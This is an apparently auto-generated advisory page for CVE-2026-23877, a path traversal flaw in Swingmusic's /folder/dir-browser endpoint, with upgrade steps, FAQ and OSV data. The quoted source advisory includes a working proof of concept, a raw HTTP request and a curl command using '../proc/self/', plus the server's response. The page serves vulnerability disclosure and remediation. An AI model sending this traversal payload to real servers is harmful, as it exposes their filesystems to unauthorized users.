CVE-2026-23877: Swingmusic Path Traversal Vulnerability

MODERATE
Advisory Identifier: GHSA-pj88-9xww-gxmh
CWE-25
Published
Advisory Summary

CVE-2026-23877 is a MODERATE path traversal vulnerability (CWE-25: Path Traversal: '/../filedir') affecting Swingmusic libraries in the PyPI ecosystem. The issue involves swing music has a directory traversal & filesystem can be accessed by a non-admin user. Remediation is available by upgrading affected packages to version 2.1.4.

CVE-2026-23877 at a Glance

CVE Identifier CVE-2026-23877
GHSA Identifier GHSA-pj88-9xww-gxmh
Severity MODERATE
CVSS v3.1 Base Score N/A
CWE Classification CWE-25: Path Traversal: '/../filedir'
Affected Product Swingmusic
Package Ecosystem PyPI
Published Date
Last Updated

How to Fix CVE-2026-23877

To remediate this vulnerability, upgrade all affected Swingmusic dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

swingmusic fixed: 2.1.4
pip install swingmusic>=2.1.4
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show swingmusic

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2026-23877, inspect your installed packages using pip:

pip show swingmusic

Analyze the terminal output to locate any version of Swingmusic in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.1.4), your application is affected.

Note: The pip show swingmusic command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-25: Path Traversal: '/../filedir', where the product uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize "/../" sequences that can resolve to a location that is outside of that directory. In Swingmusic, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary Swing Music's `list_folders()` function in the `/folder/dir-browser` endpoint is vulnerable to directory traversal attacks. Any authenticated user (including non-admin) can browse arbitrary directories on the server filesystem. ### Details The `@api.post("/dir-browser")` endpoint lacks proper path validation and authorization checks: - **No authorization requirement**: Any authenticated user can access the endpoint - **Improper path handling**: The code attempts to prepend "/" to non-existent paths but this doesn't prevent traversal: ```python req_dir = pathlib.Path("../../../../etc") # → PosixPath('../../../../etc') if not req_dir.exists(): # → False req_dir = "/" / req_dir # → PosixPath('/../../../../etc') ``` ### PoC 1. Create a non-admin user 2. Authenticate as a non-admin user 3. Send the following request: ``` POST /folder/dir-browser HTTP/1.1 Host: IP:1970 Content-Type: application/json Cookie: access_token_cookie=non-admin-access-token Connection: keep-alive {"folder":"/music/../proc/self/", "tracks_only":false} ``` ```bash curl --path-as-is -i -s -k -X $'POST' -H $'Content-Type: application/json' -b $'access_token_cookie=non-admin-access-token' \ --data-binary $'{\"folder\":\"/music/../proc/self/\", \"tracks_only\":false}' \ $'http://IP:1970/folder/dir-browser' ``` 4. The response will list directories from `/proc/self` instead of restricting to user-accessible paths: ``` HTTP/1.1 200 OK Content-Type: application/json Content-Length: 466 Vary: Accept-Encoding Connection: Keep-Alive {"folders":[{"name":"attr","path":"/music/../proc/self/attr"},{"name":"cwd","path":"/music/../proc/self/cwd"},{"name":"fd","path":"/music/../proc/self/fd"},{"name":"fdinfo","path":"/music/../proc/self/fdinfo"},{"name":"map_files","path":"/music/../proc/self/map_files"},{"name":"net","path":"/music/../proc/self/net"},{"name":"ns","path":"/music/../proc/self/ns"},{"name":"root","path":"/music/../proc/self/root"},{"name":"task","path":"/music/../proc/self/task"}]} ``` ### Impact **Information Disclosure:** - Server filesystem structure and layout - Configuration file locations and names - User account names from directory listings - Software versions and installed packages - Log file locations and system paths **Additional Risks:** - Preparation for further attacks (LFI, RCE) - Bypass of access control mechanisms - Exposure of sensitive directory structures

CVE-2026-23877 Affected Swingmusic Versions

1 component(s)
Fixed Versions:
2.1.4
Product / Package Ecosystem Affected Versions Fixed Version
swingmusic
PyPI
< 2.1.4
2.1.4

References

Frequently Asked Questions

What is CVE-2026-23877?
CVE-2026-23877 is a security vulnerability in Swingmusic involving Swing Music has a Directory Traversal & Filesystem can be accessed by a non-admin user under CWE-25: Path Traversal: '/../filedir'.
Which Swingmusic versions are affected?
Affected versions include releases prior to 2.1.4 across affected packages: swingmusic.
What version fixes CVE-2026-23877?
Upgrading to 2.1.4 (or the latest patched release for your respective branch) resolves the vulnerability.
Is swingmusic affected?
Yes, swingmusic is affected in releases prior to 2.1.4. Upgrade your dependency to 2.1.4 or later.
What CWE is associated with CVE-2026-23877?
CVE-2026-23877 is classified under CWE-25: Path Traversal: '/../filedir' (The product uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize "/../" sequences that can resolve to a location that is outside of that directory.).
How can I check PyPI dependencies for CVE-2026-23877?
Run the dependency tree command: 'pip show swingmusic'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-pj88-9xww-gxmh",
  "modified" : "2026-01-21T01:02:29Z",
  "published" : "2026-01-21T01:02:29Z",
  "aliases" : [ "CVE-2026-23877" ],
  "summary" : "Swing Music has a Directory Traversal & Filesystem can be accessed by a non-admin user",
  "details" : "### Summary\nSwing Music's `list_folders()` function in the `/folder/dir-browser` endpoint is vulnerable to directory traversal attacks. Any authenticated user (including non-admin) can browse arbitrary directories on the server filesystem.\n\n### Details\nThe `@api.post(\"/dir-browser\")` endpoint lacks proper path validation and authorization checks:\n- **No authorization requirement**: Any authenticated user can access the endpoint\n- **Improper path handling**: The code attempts to prepend \"/\" to non-existent paths but this doesn't prevent traversal:\n```python\nreq_dir = pathlib.Path(\"../../../../etc\")  # → PosixPath('../../../../etc')\nif not req_dir.exists():                    # → False\n    req_dir = \"/\" / req_dir                 # → PosixPath('/../../../../etc')\n```\n\n### PoC\n1. Create a non-admin user\n2. Authenticate as a non-admin user\n3. Send the following request:\n```\nPOST /folder/dir-browser HTTP/1.1\nHost: IP:1970\nContent-Type: application/json\nCookie: access_token_cookie=non-admin-access-token\nConnection: keep-alive\n\n{\"folder\":\"/music/../proc/self/\", \"tracks_only\":false}\n```\n```bash\ncurl --path-as-is -i -s -k -X $'POST' -H $'Content-Type: application/json' -b $'access_token_cookie=non-admin-access-token' \\\n    --data-binary $'{\\\"folder\\\":\\\"/music/../proc/self/\\\", \\\"tracks_only\\\":false}' \\\n    $'http://IP:1970/folder/dir-browser'\n```\n4. The response will list directories from `/proc/self` instead of restricting to user-accessible paths:\n```\nHTTP/1.1 200 OK\nContent-Type: application/json\nContent-Length: 466\nVary: Accept-Encoding\nConnection: Keep-Alive\n\n{\"folders\":[{\"name\":\"attr\",\"path\":\"/music/../proc/self/attr\"},{\"name\":\"cwd\",\"path\":\"/music/../proc/self/cwd\"},{\"name\":\"fd\",\"path\":\"/music/../proc/self/fd\"},{\"name\":\"fdinfo\",\"path\":\"/music/../proc/self/fdinfo\"},{\"name\":\"map_files\",\"path\":\"/music/../proc/self/map_files\"},{\"name\":\"net\",\"path\":\"/music/../proc/self/net\"},{\"name\":\"ns\",\"path\":\"/music/../proc/self/ns\"},{\"name\":\"root\",\"path\":\"/music/../proc/self/root\"},{\"name\":\"task\",\"path\":\"/music/../proc/self/task\"}]}\n```\n\n### Impact\n\n**Information Disclosure:**\n- Server filesystem structure and layout\n- Configuration file locations and names\n- User account names from directory listings\n- Software versions and installed packages\n- Log file locations and system paths\n\n**Additional Risks:**\n- Preparation for further attacks (LFI, RCE)\n- Bypass of access control mechanisms\n- Exposure of sensitive directory structures",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "swingmusic"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "2.1.4"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/swingmx/swingmusic/security/advisories/GHSA-pj88-9xww-gxmh"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-23877"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/swingmx/swingmusic/commit/9a915ca62af1502b9550722df82f5d432cb73de3"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/swingmx/swingmusic"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-25" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-01-21T01:02:29Z",
    "nvd_published_at" : "2026-01-19T21:15:52Z"
  }
}